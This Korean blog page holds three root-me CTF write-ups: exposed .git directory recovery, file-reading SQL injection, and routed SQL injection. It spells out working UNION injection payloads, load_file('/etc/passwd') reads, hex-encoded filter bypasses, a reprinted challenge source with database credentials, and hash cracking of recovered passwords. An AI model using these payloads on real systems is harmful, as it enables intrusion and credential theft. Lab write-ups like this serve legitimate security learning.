반응형

Insecure Code Management 관련 문제입니다. 

문제 제목이나 설명만보고 감이 안 와서 참고 문서? 관련 문서란을 보니 git 관련 문제인 것 같습니다.

 

Git 이란?

소스코드 관리를 위한 분산 버전 관리 시스템입니다. 즉, 여러 명의 개발자가 하나의 프로젝트를 개발할 경우, 소스코드를 효과적으로 관리(버전 관리, 백업 등)할 수 있게 하는 무료, 공개적 시스템입니다.

 

이 문제는 소스 코드 관리를 위해 git을 사용하고 있다 정도로만 이해하고 일단 문제에 접속해보았습니다.

HR Database에 접속하기 위한 로그인 폼이 존재합니다. 로그인 폼만 보면 가장 먼저하는 일은 [admin/admin] 같은 유추 가능한 계정으로 접근 시도해보는 것 아닐까요?ㅋㅋㅋ(저 같은 경우는 그렇습니다...ㅠ) 로그인해보았습니다.

 

Unknown user or password라는 에러 메시지만 출력되고 아무런 정보를 던져주지 않았습니다.

 

그렇다면, 이 문제를 어떻게 풀어야 할까 고민하다가 구글링 해본 결과! Git을 사용할 경우 git 디렉토리에 대한 접근 권한 여부를 설정하지 않아 내부 자원 유출 가능한 취약점이 존재한다는 사실을 발견하였습니다. (자세한 사항은 아래 링크)

>> https://medium.com/swlh/hacking-git-directories-e0e60fa79a36 

 

개발자가 Git을 사용할 경우, 프로젝트 파일의 커밋 이력을 포함한 모든 버전의 제어 정보가 Git 디렉토리

[www.test.com/.git]에 보관되어 있습니다. 보통의 경우 일반 사용자가 해당 디렉토리에 접근 불가능해야하지만 접근 제어가 제대로 되어 있지 않은 경우, .git 디렉토리 엑세스 및 정보 유출이 가능합니다.

 

그래서, 이번 문제 접속 후, Git 디렉토리에 접근 시도해보았습니다.

위 스크린샷과 같이 별도의 인증 과정 없이 Git 디렉토리에 접근 가능하며, 정보를 획득할 수 있습니다.

(www.challenge01.root-me.org/web-serveur/ch61/.git)

 

Git 디렉토리 내 소스코드의 재구성을 위해 우선, wget 명령어를 사용해 디렉토리의 내용을 대량 다운로드합니다.

명령어 : wget -r http://www.challenge01.root-me.org/web-serveur/ch61/.git/  

 

wget 명령어를 사용해 Git 디렉토리를 다운받으면, 위 사진과 같이 도메인 폴더가 자동으로 생성되어 있습니다.

 

웹 루트 폴더까지 타고 들어가 보았지만, index.html 파일만 있고 소스코드(index.php) 파일은 보이지 않네요.

 

Git 개체는 SHA1 해시의 처음 두 문자에 따라 /objects 디렉토리 하위에 저장됩니다.

예를 들어, 0a082f2656a655c8b0a87956c7bcdc93dfda23f8 해시를 가진 개체는 디렉토리 .git/objects/0a에082f2656a655c8b0a87956c7bcdc93dfda23f8의 이름으로 저장되고 있습니다.

 

.git/objects에는 다양한 유형의 개체, commit, a tree, a blob, an annotated tag 등이 저장되며 아래의 명령어를 사용해 객체의 유형을 결정할 수 있습니다.

> git cat-file -t OBJECT-HASH

 

  • Commit 객체에는 commit의 디렉토리 트리 개체 해시, 부모 commit, 작성자, 날짜 및 메시지 정보를 저장
  • Tree 객체에는 commit에 대한 디렉토리 목록
  • Blob 객체에는 commit된 파일의 사본(실제 소스 코드)
  • Tag 객체에는 태그가 지정된 객체와 관련 태그 이름에 대한 정보

> cat .git/HEAD

ref: refs/heads/master

> cat .git/refs/heads/master // commit의 디렉토리 트리를 저장하는 해시를 가리킴

c0b4661c888bd1ca0f12a3c080e4d2597382277b 

> git cat-file -t c0b4661c888bd1ca0f12a3c080e4d2597382277b

commit

> git cat-file -p c0b4661c888bd1ca0f12a3c080e4d2597382277b

tree 94650eae3cb2615762a29ec073c53198adffd3c2 // tree object

> git cat-file -p 94650eae3cb2615762a29ec073c53198adffd3c2

blob 2e620c143ab6557a8dacb6a0c284d28c718d6a38 index.php

blob 663fe35facfd983a948d221c769438f230eb18ef config.php

 

94650eae3cb2615762a29ec073c53198adffd3c2에 저장된 tree object을 오픈할 경우!! 실제 소스 코드인 index.php와 config.php 파일 확인이 가능합니다.

 

다시 index.php에 해당하는 blob 객체를 오픈하면 index.php 소스코드가 출력되고 있습니다. (정보 유출 성공!)

> git cat-file -p 2e620c143ab6557a8dacb6a0c284d28c718d6a38

 

index.php 소스코드 내에서는 패스워드를 입력받아 sha256으로 해시한 값과 config.php 파일 내 password 값을 비교하고 있습니다.

 

config.php에 해당하는 blob 객체를 열면 config.php 소스코드가 출력됩니다.

$password 값 0c25a741349bfdcc1e579c8cd4a931fca66bdb49b9f042c4d92ae1bfa3176d8c를 획득하였습니다.

 

해당 값이 sha256 해쉬로 암호화되어 있음이 확인 가능하니, 아래의 온라인 sha256 복호화 사이트를 이용하였습니다.

>> https://md5hashing.net/hash/sha256

(일부 sha256 복호화 사이트에서는 해당 값이 복호화되지 않는 경우 발생)

 

획득한 해쉬값을 입력하면 평문의 Admin 패스워드가 출력되고 있고, 이 값이 Flag 값입니다.^^

 


※ 참고 자료

- https://medium.com/@psychet_learn/git-%EC%82%AC%EC%9A%A9%EB%B2%95-1%EA%B0%95-git%EC%9D%B4%EB%9E%80-%EB%AC%B4%EC%97%87%EC%9D%B8%EA%B0%80-340438d9a69f

- https://medium.com/swlh/hacking-git-directories-e0e60fa79a36

 

반응형

'Study > Wargame' 카테고리의 다른 글

[root-me] SQL injection - Time based  (1) 2020.09.25
[root-me] XSLT - Code execution  (0) 2020.07.02
[root-me] SQL Injection - File reading  (0) 2020.04.01
[root-me] SQL Injection - Routed  (0) 2020.03.20
[root-me] SQL injection - Error  (0) 2020.03.12
반응형

File read 관련 SQL Injection 문제를 풀어보도록 하겠습니다.

 

문제에 들어가 보니 [Authentication]과 [Members] 두 개의 메뉴가 존재하고, [Authentication] 메뉴에는 로그인 폼이 있습니다. 로그인을 시도해보았지만 SQL Injection 포인트는 아닌 것 같아 보입니다.

 

이번에는 [Members] 메뉴를 클릭해 보았습니다. "admin" 계정이 보입니다. 클릭합니다.

 

"admin"을 클릭하면 URL 상에 GET 메소드로 action과 id 파라미터가 전송되는 것을 볼 수 있습니다.

 

id 파라미터는 1이라는 값을 전송하고 있습니다. admin 계정의 id 값으로 보입니다.

SQL Injection 취약 판단을 위해 우선 참 값의 SQL 구문을 전송해보았습니다.

id=1+and+1=1--(참) 쿼리 구문을 전송할 경우 정상적으로 admin 계정의 정보가 출력되고 있습니다.

 

이번에는 거짓 값의 SQL 구문을 전송합니다.

id=1+and+1=2--(거짓) 쿼리 구문을 전송할 경우 결과 값이 없다는 에러가 출력됩니다.

 

SQL 쿼리 구문이 참일 경우와 거짓일 경우에 따라 결과 값이 상이하기 때문에 SQL Injection 포인트라고 판단하였습니다.

 

SQL Injection 포인트를 찾았으니, 본격적으로 정보를 수집해서 관리자의 패스워드를 획득해보도록 하겠습니다.

Step 1. 필드 수 파악

필드 수는 order by 구문을 이용해 판단 가능합니다. 

id=1+order+by+4# 쿼리 문을 삽입하였을 때는 정상 값이 출력되지만, id=1+order+by+5# 쿼리 문을 삽입할 경우엔 에러가 출력되는 점을 이용해 필드 수는 4개라는 정보를 알 수 있습니다.

 

Step2. 데이터베이스 정보 수집(생략 가능)

필드 수가 4개라는 정보를 확인하였으니 union all select 구문을 이용해 DB 정보를 획득해보도록 하겠습니다.

id=1+and+1=2+1+and+1=2+union+all+select+1,2,3,concat(version(),user(),database())-- 쿼리문을 사용하여 각각 버전 정보, 유저명, 데이터베이스 명을 확인 가능합니다.

 

Step3. 테이블명 파악

id=1+and+1=2+union+all+select+1,2,3,table_name+from+information_schema.tables+where+table_type='base table'-- 쿼리문을 사용하여 테이블 명을 획득합니다. 테이블 명은 "member" 입니다.

 

※ 쿼리 문에 싱글 쿼터(')를 삽입할 경우 SQL 구문 에러가 발생하기 때문에 base table을 Ascii Hex 값으로 인코딩하여 삽입하는 방법으로 해당 에러를 해결하였습니다.

 

Step 4. 컬럼명 파악

id=1+and+1=2+union+all+select+1,2,3,group_concat(column_name)+from+information_schema.columns+where+table_name='member'-- 쿼리문을 사용하여 컬럼 명을 획득합니다. 컬럼은 각각 "member_id", "member_login", "member_password", "member_email"로 총 4개입니다.

 

관리자의 패스워드를 획득하는 것이 목표이기 때문에 member_password 컬럼을 사용하면 될 것 같습니다.

 

Step5. 데이터 파악

id=1+and+1=2+union+all+select+1,2,3,member_password+from+member-- 쿼리문을 사용하여 관리자의 패스워드를 획득합니다. 어차피 데이터(레코드)가 한 개뿐이므로 출력되는 값이 관리자 패스워드입니다.  

 

왠지 BASE64로 인코딩 된 값인 것 같아 디코딩해보았지만, 값이 깨져서 알 수가 없습니다..ㅠ

 

문제의 취지에 맞게 파일을 읽는 SQL Injection 공격을 시도해보았습니다.

load_file 함수를 이용해 시스템 자원을 다운로드 및 읽을 수 있습니다. 

사용법 : select load_file([절대경로]); // 파일 접근 권한 필요

 EX) - union select null, load_file('/etc/passwd')

      - union select null, load_file(0x2f6574632f706173737764) // HEX Encoding

      - union select null, load_file(char(47,101,116,99,47,112,97,115,115,119,100)) // char 함수

 

id=1+and+1=2+union+all+select+1,2,3,load_file('/challenge/web-serveur/ch31/index.php')-- 쿼리문을 사용하여 index.php 파일을 불러옵니다. 해당 php 파일 내에 패스워드는 sha1 해쉬로 암호화되어 있으며, key 값과 base64 함수를 이용해 다시 인코딩하고 있습니다.

 

아래는 index.php 전문입니다.

 

<?php

define('SQL_HOST',      ':/var/run/mysqld/mysqld3-web-serveur-ch31.sock');
define('SQL_DB',        'c_webserveur_31');
define('SQL_LOGIN',     'c_webserveur_31');
define('SQL_P',         'dOJLsrbyas3ZdrNqnhx');


function stringxor($o1, $o2) {
    $res = '';
    for($i=0;$i<strlen($o1);$i++)
        $res .= chr(ord($o1[$i]) ^ ord($o2[$i]));        
    return $res;
}

$key = "c92fcd618967933ac463feb85ba00d5a7ae52842";
 

mysql_connect(SQL_HOST, SQL_LOGIN, SQL_P) or exit('MySQL connection error !');
mysql_select_db(SQL_DB) or die("Database selection error !");

if ( ! isset($_GET['action']) ) $_GET['action']="login";

if($_GET['action'] == "login"){
        print '<form METHOD="POST">
                <p><label style="display:inline-block;width:100px;">Login : </label><input type="text" name="username" /></p>
                <p><label style="display:inline-block;width:100px;">Password : </label><input type="password" name="password" /></p>
                <p><input value=submit type=submit /></p>
                </form>';

	if(isset($_POST['username'], $_POST['password']) && !empty($_POST['username']) && !empty($_POST['password']))
	{
		$user = mysql_real_escape_string(strtolower($_POST['username']));
		$pass = sha1($_POST['password']);
		
		$result = mysql_query("SELECT member_password FROM member WHERE member_login='".$user."'");
		if(mysql_num_rows($result) == 1)
		{
			$data = mysql_fetch_array($result);
			if($pass == stringxor($key, base64_decode($data['member_password']))){
                                // authentication success
                                print "<p>Authentication success !!</p>";
                                if ($user == "admin")
                                    print "<p>Yeah !!! You're admin ! Use this password to complete this challenge.</p>";
                                else 
                                    print "<p>But... you're not admin !</p>";
			}
			else{
                                // authentication failed
				print "<p>Authentication failed !</p>";
			}
		}
		else{
			print "<p>User not found !</p>";
		}
	}
}

if($_GET['action'] == "members"){
	if(isset($_GET['id']) && !empty($_GET['id']))
	{
                // secure ID variable
		$id = mysql_real_escape_string($_GET['id']);
		$result = mysql_query("SELECT * FROM member WHERE member_id=$id") or die(mysql_error());
		
		if(mysql_num_rows($result) == 1)
		{
			$data = mysql_fetch_array($result);
			print "ID : ".$data["member_id"]."<br />";
			print "Username : ".$data["member_login"]."<br />";
			print "Email : ".$data["member_email"]."<br />";	
		}
                else{
                        print "no result found";
                }
	}
	else{
		$result = mysql_query("SELECT * FROM member");
		while ($row = mysql_fetch_assoc($result)) {
			print "<p><a href=\"?action=members&id=".$row['member_id']."\">".$row['member_login']."</a></p>";
		}
	}
}

?>

 

참고로, /challenge/web-serveur/ch31/이 웹 루트인 것은... 무작위로 대입해보았습니다...ㅠ 다른 분들은 어떻게 파악했는지 궁금합니다...!

 

index.php 파일에 존재하는 함수와 획득한 관리자 패스워드 값을 이용하여 sha1 해쉬로 암호화되어 있는 실제 패스워드를 얻을 수 있었습니다.

>> https://rextester.com/l/php_online_compiler // php 코드 온라인 컴파일러 이용

 

>> https://hashtoolkit.com/decrypt-sha1-hash/ // 온라인 sha1 복호화 사이트

획득한 sha1 값을 복호화하였더니 관리자의 plain 패스워드를 확인할 수 있습니다.

복호화된 값이 Flag 값입니다^^

 


※ 참고 자료

- https://medium.com/bugbountywriteup/sql-injection-with-load-file-and-into-outfile-c62f7d92c4e2

- https://m.blog.naver.com/koromoon/220151062561

 

반응형

'Study > Wargame' 카테고리의 다른 글

[root-me] XSLT - Code execution  (0) 2020.07.02
[root-me] Insecure Code Management  (0) 2020.04.07
[root-me] SQL Injection - Routed  (0) 2020.03.20
[root-me] SQL injection - Error  (0) 2020.03.12
[root-me] JSON Web Token (JWT) - Weak secret  (0) 2020.03.06
반응형

Routed SQL Injection 문제입니다.

 

문제를 풀기 전, Routed SQL Injection이 무엇인지, 어떻게 발생하는지에 대해 조사해보았습니다.

위는 Routed SQL Injection이 발생하는 취약한 코드입니다.

현재 코드는 첫 번째 쿼리의 결과 값이 두 번째 쿼리의 입력 값으로 사용되고 있습니다.

SQL Injection을 발생 시키려면, sec_code(첫 번째 쿼리의 출력)인 두 번째 쿼리에 대한 입력을 제어할 수 있어야 합니다.

 

즉, 첫 번째 쿼리에서 SQL Injection이 발생하고, 이의 영향이 두 번째 쿼리에 미쳐 두번째 쿼리에서도 SQL Injection이 발생하는 경우Routed SQL Injection이라고 칭합니다.

 

문제를 풀어보도록 하겠습니다. 문제에 접속하면 첫 페이지에 로그인 창이 뜹니다.

그냥 [admin/admin]으로 로그인 시도해보았습니다.

 

그냥 "Wrong login/password"라는 오류 메시지만 출력됩니다. 

[Search] 탭을 클릭해봅니다.

 

[Search] 메뉴에서는 데이터베이스에 있는 계정을 검색할 수 있습니다.

admin을 검색했더니 ID는 3, email이 admin@sqli_me.com이라는 정보를 출력해주네요.

 

취약한 부분인지 판단하기 위해 싱글 쿼터(')를 삽입해보았습니다.

Syntax 에러가 발생하면서 에러 메시지가 출력되고 있습니다.

 

SQL Injection 할 경우 주로 사용되는 or, and 문자가 필터링되고 있어 Attack Detected 에러가 출력되고 있습니다.

그 대안으로 union select 구문을 이용해보았습니다.

 

'union select 1--+- 쿼리를 입력할 경우, 두 번째 쿼리 값을 1로 설정하고 있어, 두 번째 쿼리가 성공적으로 실행되어 결과 값 1에 대한 결과가 출력되고 있습니다. 첫 번째 값은 jean입니다.

 

'union select 2--+- 쿼리를 입력할 경우, 두 번째 쿼리 값을 2로 설정하고 있고, 값 2에 대한 결과가 출력되고 있습니다. 두 번째 값은 michel입니다.

 

'union select 3--+- 쿼리를 입력할 경우, 역시나 두 번째 쿼리 값을 3으로 설정하고 있고, 값 3에 대한 결과가 출력되고 있습니다. 세 번째 값은 admin입니다. (우리는 admin의 패스워드를 찾아야 합니다.)

 

'union select 3--+- 쿼리를 입력할 경우, 빈 데이터가 출력되었습니다. 세 개의 데이터를 가지고 있음을 확인할 수 있겠죠.

 

이제는 관리자(admin)의 패스워드를 찾기 위한 사전 정보를 수집해보겠습니다.

Step 1. 필드 수 파악

필드 수를 확인하기 위해 order by 구문을 사용하였습니다. 두 번째 쿼리에 'order by 1-- - 값을 넣을 때, 서버에 존재하는 문자열 필터링을 우회하기 위해 Ascii Hex 인코딩을 하였습니다.

 

'union select 0x276f7264657220627920312d2d202d--+- 쿼리를 입력할 경우, 빈 데이터가 출력됩니다.

 

숫자를 하나씩 증가시켜 보겠습니다. 두 번째 쿼리에 'order by 2-- - 쿼리를 넣었을 때도 마찬가지로 빈 데이터가 출력되지만 'order by 3-- - 쿼리를 넣으면 에러가 발생하고 있습니다.

 

'union select 0x276f7264657220627920332d2d202d--+- 쿼리를 입력할 경우, 에러가 출력되고 있기 때문에, 필드 수는 2개 임을 확인할 수 있습니다.

 

Step 2. 테이블명 파악

테이블 명을 파악하기 위해 두 번째 쿼리에 테이블 명을 반환하는 쿼리를 입력해보겠습니다. 두번째 쿼리에

'union select 1,(select table_name from information_schema.tables where table_type='base table')-- -

위의 평문 쿼리를 이용하여

 

'union select 0x276f7264657220627920332d2d202d27756e696f6e2073656c65637420312c2873656c656374207461626c655f6e616d652066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f747970653d2762617365207461626c6527292d2d202d--+- 쿼리를 입력할 경우, users라는 테이블 명이 출력되었습니다.

 

Step 3. 컬럼명 파악

컬럼 명을 파악하기 위해 두 번째 쿼리에 컬럼 명을 반환하는 쿼리를 입력해보겠습니다. 두번째 쿼리에

'union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')-- -

위의 평문 쿼리를 이용하여

 

'union select 0x27756e696f6e2073656c65637420312c2873656c6563742067726f75705f636f6e63617428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d653d27757365727327292d2d202d--+- 쿼리를 입력할 경우, id, login, password, email라는 컬럼 명을 파악할 수 있습니다.

 

Step 4. 데이터 파악

마지막으로 관리자(admin)의 패스워드를 뽑아보도록 하겠습니다. 두 번째 쿼리에

'union select 1,(select password from users where email='admin@sqli_me.com')-- -

위의 평문 쿼리를 이용하여(admin을 검색할 경우 나왔던 email 값을 이용하였음)

 

'union select 0x27756e696f6e2073656c65637420312c2873656c6563742070617373776f72642066726f6d20757365727320776865726520656d61696c3d2761646d696e4073716c695f6d652e636f6d27292d2d202d--+- 쿼리를 삽입해 관리자의 패스워드, 즉 Flag 값 획득에 성공하였습니다.'

 


※ 참고 자료 ※

-http://www.securityidiots.com/Web-Pentest/SQL-Injection/routed_sql_injection.html

-https://improsec.com/tech-blog/routed-sql-injection

반응형

+ Recent posts

반응형
반응형